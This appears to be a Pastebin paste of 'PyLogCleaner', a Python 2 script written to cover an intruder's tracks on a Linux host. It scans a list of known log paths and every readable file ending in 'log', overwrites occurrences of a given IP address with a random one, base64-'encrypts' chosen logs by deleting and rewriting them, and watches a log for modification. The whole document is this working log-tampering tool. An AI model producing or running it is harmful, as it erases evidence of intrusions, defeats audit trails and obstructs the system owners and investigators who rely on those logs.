0xtv

Python Log Cleaner

Mar 30th, 2014
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.99 KB | None | 0 0
  1. #!/usr/bin/python
  2. #PyLogcleaner uses the list given (logfiles) containing
  3. # 274 logfiles and uses the linux find
  4. #cmd to try and locate more logfiles to search
  5. #for an ip address to replace with a random generated
  6. #one. It can also encrypt/d3crypt a
  7. #logfile and also can watch a logfile for modifications.
  8.  
  9. import os, sys, time, pwd, getopt, re, random, StringIO, commands
  10.  
  11. def title():
  12.         print "\n   PyLogCleaner v1.0"
  13.         print "-----------------------------------------------"
  14.  
  15. def usage():
  16.         title()
  17.         print "\n  Usage: python logcleaner.py <option>\n"
  18.         print "\t[options]"
  19.         print "\t   -i <ip>: Ip to search for and replace"
  20.         print "\t   -e <file>: Encrypts logfile"
  21.         print "\t   -d <file>: Decrypts logfile"
  22.         print "\t   -w/-watch <file> <time to check> : Watches logfile for modification"
  23.         print "\t   -h/-help: Prints this menu\n"
  24.  
  25. def timer():
  26.         now = time.localtime(time.time())
  27.         return time.asctime(now)
  28.  
  29. def validater(logs):
  30.        
  31.         activeLogs = []
  32.  
  33.         print "[+] Validating:",len(logs),"logfiles\n"
  34.         for l in logs:
  35.                 if os.path.isfile(l) == True:
  36.                         activeLogs.append(l)
  37.         if len(activeLogs)>0:
  38.                 print "[+] Active Logs Found:",len(activeLogs)
  39.                 return activeLogs
  40.         else:
  41.                 print "[-] No Active Logs Found"
  42.                 sys.exit(1)
  43.                
  44. def search(logfiles):
  45.        
  46.         print "\n[+] Searching:",ip,"\n"
  47.         import mmap
  48.        
  49.         for file in logfiles:
  50.                 try:
  51.                         f = open(file, "rb+")
  52.                         size = os.path.getsize(file)
  53.                         if size >= 1:
  54.                                 data = mmap.mmap(f.fileno(), size)
  55.                                 loc = data.find(ip)
  56.                                 #Lets not search a file with no data.
  57.                                 if loc == -1:
  58.                                         #print "[+] File:",file,"|",size,"bytes"
  59.                                         #print "\t[-] IP not found"
  60.                                         data.close()
  61.                                 else:
  62.                                         print "-"*45
  63.                                         print "[+] File:",file,"|",size,"bytes"
  64.                                         print "\t[+] IP found"
  65.                                         data.seek(loc)
  66.                                         data.write(randip)
  67.                                         print "[+] Replaced: ",ip,">>",randip
  68.                                         print "[+] New_Size:",os.path.getsize(file),"bytes"
  69.                                         print "-"*45
  70.                                         data.close()
  71.                 except(IOError), msg:
  72.                         pass
  73.         print "\n[+] Done:",timer(),"\n"
  74.                                        
  75. def findlogs():
  76.         os.chdir("/")
  77.        
  78.         print "[+] Finding More Logfiles..."
  79.         #Lets use the linux find cmd to fing more files containing log...
  80.         logz = StringIO.StringIO(commands.getstatusoutput('find . -iname *log -perm -444 -print')[1]).readlines()
  81.         if len(logz)>0:
  82.                 print "[+] Found:",len(logz),"extra logfiles"
  83.                 for log in logz:
  84.                         if re.search("Permission denied",log) == None:
  85.                                 logs.append(log[:-1])
  86.         return logs
  87.        
  88. def randip():
  89.        
  90.         A = random.randrange(255) + 1
  91.         B = random.randrange(255) + 1
  92.         C = random.randrange(255) + 1
  93.         D = random.randrange(255) + 1
  94.         randip = "%d.%d.%d.%d" % (A,B,C,D)
  95.         return randip
  96.  
  97. def gettime():
  98.         clock = time.asctime(time.localtime(os.path.getmtime(logfile)))
  99.         return clock
  100.  
  101. def getsize():
  102.         size = os.path.getsize(logfile)
  103.         return size
  104.  
  105. def modlast(logfile):
  106.         try:
  107.                 sys.argv[3]
  108.         except(IndexError):
  109.                 print "\n[-] Need a time in seconds (ex: 60)\n"
  110.                 sys.exit(1)
  111.                
  112.         print "[+] Analyzing:",logfile
  113.         print "[+] Time:",sys.argv[3],"secs"
  114.         print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]
  115.         print "[+] Size:",getsize(),"bytes"
  116.         print "[+] Last Modified:",gettime()
  117.         print "[+] Starting:",timer()
  118.  
  119.         old_time = gettime()
  120.         while True:
  121.                 time.sleep(int(sys.argv[3]))
  122.                 new_time = gettime()
  123.                 if new_time != old_time:
  124.                         print "\n[+] File Modified:",new_time
  125.                         print "[+] New Size:",getsize(),"bytes\n"
  126.                         old_time = new_time
  127.        
  128. def encrypter(file):
  129.         import base64
  130.         print "\n[+] Encrypting:",file
  131.         print "[+] Size:",os.path.getsize(file),"bytes"
  132.         try:
  133.                 log2encode = open(file, "r").read()
  134.         except(IOError):
  135.                 print "Error: Check your full path.\n"
  136.                 sys.exit(1)
  137.         log2encode = base64.b64encode(log2encode)
  138.         os.remove(file)
  139.         time.sleep(2)
  140.         f = open(file, "a")
  141.         f.write(log2encode)
  142.         f.close()
  143.         print "[+] NewSize:",os.path.getsize(file),"bytes"
  144.         print "[+] Done\n"
  145.  
  146. def d3crypter(file):
  147.         import base64
  148.         print "\n[+] Decrypting:",file
  149.         print "[+] Size:",os.path.getsize(file),"bytes"
  150.         try:
  151.                 b2log = open(file, "r").read()
  152.         except(IOError):
  153.                 print "Error: Check your full path.\n"
  154.                 sys.exit(1)
  155.         b2log = base64.b64decode(b2log)
  156.         os.remove(file)
  157.         time.sleep(2)
  158.         f = open(file, "a")
  159.         f.write(b2log)
  160.         f.close()
  161.         print "[+] NewSize:",os.path.getsize(file),"bytes"
  162.         print "[+] Done\n"
  163.  
  164. if len(sys.argv) <= 1:
  165.         usage()
  166.         sys.exit(1)
  167. if len(sys.argv) == 2:
  168.         usage()
  169.         sys.exit(1)
  170.  
  171. if sys.argv[1] == "-w" or sys.argv[1] == "-watch":
  172.         logfile = sys.argv[2]
  173.         if os.path.isfile(logfile) == False:
  174.                 title()
  175.                 print "\n[-] Cannot Open File, Check Full Path!!!\n"
  176.                 sys.exit(1)
  177.         else:
  178.                 title()
  179.                 modlast(logfile)
  180. if sys.argv[1] == "-i":
  181.         ip = sys.argv[2]              
  182.         try:
  183.                 logs = open("logfiles", "r").readlines()
  184.         except(IOError):
  185.                 print "Error: logfiles missing\n"
  186.                 sys.exit(1)
  187.         title()
  188.         print "\n[+] Starting:",timer()
  189.         print "[+] Loaded:",len(logs),"logs"
  190.         findlogs()
  191.         randip = randip()
  192.         print "[+] Generate Random IP:",randip
  193.         search(validater(logs))
  194. if sys.argv[1] == "-e":
  195.         file = sys.argv[2]
  196.         title()
  197.         encrypter(file)
  198. if sys.argv[1] == "-d":
  199.         file = sys.argv[2]
  200.         title()
  201.         d3crypter(file)
Advertisement
Add Comment
Please, Sign In to add comment